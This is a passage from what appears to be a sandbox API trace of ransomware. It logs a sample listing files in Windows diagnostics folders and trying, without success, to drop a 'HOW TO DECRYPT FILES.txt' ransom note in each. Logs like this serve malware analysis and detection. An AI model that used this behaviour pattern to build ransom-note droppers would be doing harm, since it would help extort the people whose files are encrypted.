dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.941] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.941] CloseHandle (hObject=0xffffffff) returned 0 [0126.941] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="RS_RestorePermissions.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\RS_RestorePermissions.ps1") returned="C:\\Windows\\diagnostics\\system\\Search\\RS_RestorePermissions.ps1" [0126.942] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1221d1fb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1221d1fb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd1d7fbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x224, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_StartIndexingService.ps1", cAlternateFileName="")) returned 1 [0126.942] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.942] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\RS_RestorePermissions.ps1") returned="RS_RestorePermissions.ps1" [0126.942] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\") returned="C:\\Windows\\diagnostics\\system\\Search\\" [0126.942] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\") returned="" [0126.942] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" [0126.942] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt")) returned 0xffffffff [0126.942] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.943] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.943] CloseHandle (hObject=0xffffffff) returned 0 [0126.943] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="RS_StartIndexingService.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\RS_StartIndexingService.ps1") returned="C:\\Windows\\diagnostics\\system\\Search\\RS_StartIndexingService.ps1" [0126.943] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12243358, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x12243358, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd7cb66b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_CheckPermissions.ps1", cAlternateFileName="")) returned 1 [0126.943] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.943] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\RS_StartIndexingService.ps1") returned="RS_StartIndexingService.ps1" [0126.943] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\") returned="C:\\Windows\\diagnostics\\system\\Search\\" [0126.944] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\") returned="" [0126.944] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" [0126.944] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt")) returned 0xffffffff [0126.944] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.944] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.944] CloseHandle (hObject=0xffffffff) returned 0 [0126.944] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="TS_CheckPermissions.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\TS_CheckPermissions.ps1") returned="C:\\Windows\\diagnostics\\system\\Search\\TS_CheckPermissions.ps1" [0126.945] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x122694b5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x122694b5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd7cb66b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_FilterHostCrashing.ps1", cAlternateFileName="")) returned 1 [0126.945] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.945] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\TS_CheckPermissions.ps1") returned="TS_CheckPermissions.ps1" [0126.945] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\") returned="C:\\Windows\\diagnostics\\system\\Search\\" [0126.945] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\") returned="" [0126.945] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" [0126.945] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt")) returned 0xffffffff [0126.945] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.946] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.946] CloseHandle (hObject=0xffffffff) returned 0 [0126.946] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="TS_FilterHostCrashing.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\TS_FilterHostCrashing.ps1") returned="C:\\Windows\\diagnostics\\system\\Search\\TS_FilterHostCrashing.ps1" [0126.946] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1228f612, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1228f612, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd7cb66b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_ForcedShutdownInRecovery.ps1", cAlternateFileName="")) returned 1 [0126.946] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.946] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\TS_FilterHostCrashing.ps1") returned="TS_FilterHostCrashing.ps1" [0126.946] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\") returned="C:\\Windows\\diagnostics\\system\\Search\\" [0126.946] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\") returned="" [0126.947] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" [0126.947] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt")) returned 0xffffffff [0126.947] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.947] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.947] CloseHandle (hObject=0xffffffff) returned 0 [0126.947] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="TS_ForcedShutdownInRecovery.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\TS_ForcedShutdownInRecovery.ps1") returned="C:\\Windows\\diagnostics\\system\\Search\\TS_ForcedShutdownInRecovery.ps1" [0126.948] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x122b576f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x122b576f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd7f17c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_ForcedShutdownNoCorruption.ps1", cAlternateFileName="")) returned 1 [0126.948] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.948] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\TS_ForcedShutdownInRecovery.ps1") returned="TS_ForcedShutdownInRecovery.ps1" [0126.948] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\") returned="C:\\Windows\\diagnostics\\system\\Search\\" [0126.948] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\") returned="" [0126.948] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" [0126.948] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt")) returned 0xffffffff [0126.948] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.948] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.948] CloseHandle (hObject=0xffffffff) returned 0 [0126.949] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="TS_ForcedShutdownNoCorruption.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\TS_ForcedShutdownNoCorruption.ps1") returned="C:\\Windows\\diagnostics\\system\\Search\\TS_ForcedShutdownNoCorruption.ps1" [0126.949] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x122db8cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x122db8cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd817927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_IndexingService.ps1", cAlternateFileName="")) returned 1 [0126.949] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.949] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\TS_ForcedShutdownNoCorruption.ps1") returned="TS_ForcedShutdownNoCorruption.ps1" [0126.949] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\") returned="C:\\Windows\\diagnostics\\system\\Search\\" [0126.949] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\") returned="" [0126.949] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" [0126.949] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt")) returned 0xffffffff [0126.949] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.950] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.950] CloseHandle (hObject=0xffffffff) returned 0 [0126.950] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="TS_IndexingService.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\TS_IndexingService.ps1") returned="C:\\Windows\\diagnostics\\system\\Search\\TS_IndexingService.ps1" [0126.950] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12301a29, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x12301a29, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd83da85, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_IndexingServiceCrashing.ps1", cAlternateFileName="")) returned 1 [0126.950] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.951] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\TS_IndexingService.ps1") returned="TS_IndexingService.ps1" [0126.951] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\") returned="C:\\Windows\\diagnostics\\system\\Search\\" [0126.951] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\") returned="" [0126.951] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" [0126.951] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt")) returned 0xffffffff [0126.951] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.951] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.951] CloseHandle (hObject=0xffffffff) returned 0 [0126.951] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="TS_IndexingServiceCrashing.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\TS_IndexingServiceCrashing.ps1") returned="C:\\Windows\\diagnostics\\system\\Search\\TS_IndexingServiceCrashing.ps1" [0126.952] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12327b86, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x12327b86, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd863be3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_ProtocolHostCrashing.ps1", cAlternateFileName="")) returned 1 [0126.952] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.952] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Search\\TS_IndexingServiceCrashing.ps1") returned="TS_IndexingServiceCrashing.ps1" [0126.952] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Search\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\") returned="C:\\Windows\\diagnostics\\system\\Search\\" [0126.952] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Search\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Search\\") returned="" [0126.952] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" [0126.952] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt")) returned 0xffffffff [0126.952] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Search\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\search\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.953] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.953] CloseHandle (hObject=0xffffffff) returned 0 [0126.953] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Search\\", lpString2="TS_ProtocolHostCrashing.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Search\\TS_ProtocolHostCrashing.ps1") returned="C:\\Windows\\diagnostics\\system\\Search\\TS_ProtocolHostCrashing.ps1" [0126.953] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12327b86, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x12327b86, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd863be3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_ProtocolHostCrashing.ps1", cAlternateFileName="")) returned 0 [0126.953] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0126.953] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="WindowsMediaPlayerConfiguration", cAlternateFileName="WINDOW~2")) returned 1 [0126.953] lstrcmpA (lpString1=".", lpString2="WindowsMediaPlayerConfiguration") returned -1 [0126.953] lstrcmpA (lpString1="..", lpString2="WindowsMediaPlayerConfiguration") returned -1 [0126.953] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0126.953] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\", lpString2="WindowsMediaPlayerConfiguration" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration" [0126.954] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0126.957] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.957] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.957] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.957] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.958] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd0557, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfdd0557, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x8ffb9228, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x1d4b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DiagPackage.diagpkg", cAlternateFileName="")) returned 1 [0126.958] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.958] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\*.*") returned="*.*" [0126.958] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" [0126.958] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\") returned="" [0126.958] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" [0126.958] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\how to decrypt files.txt")) returned 0xffffffff [0126.958] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.959] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.959] CloseHandle (hObject=0xffffffff) returned 0 [0126.959] lstrcatA (in: 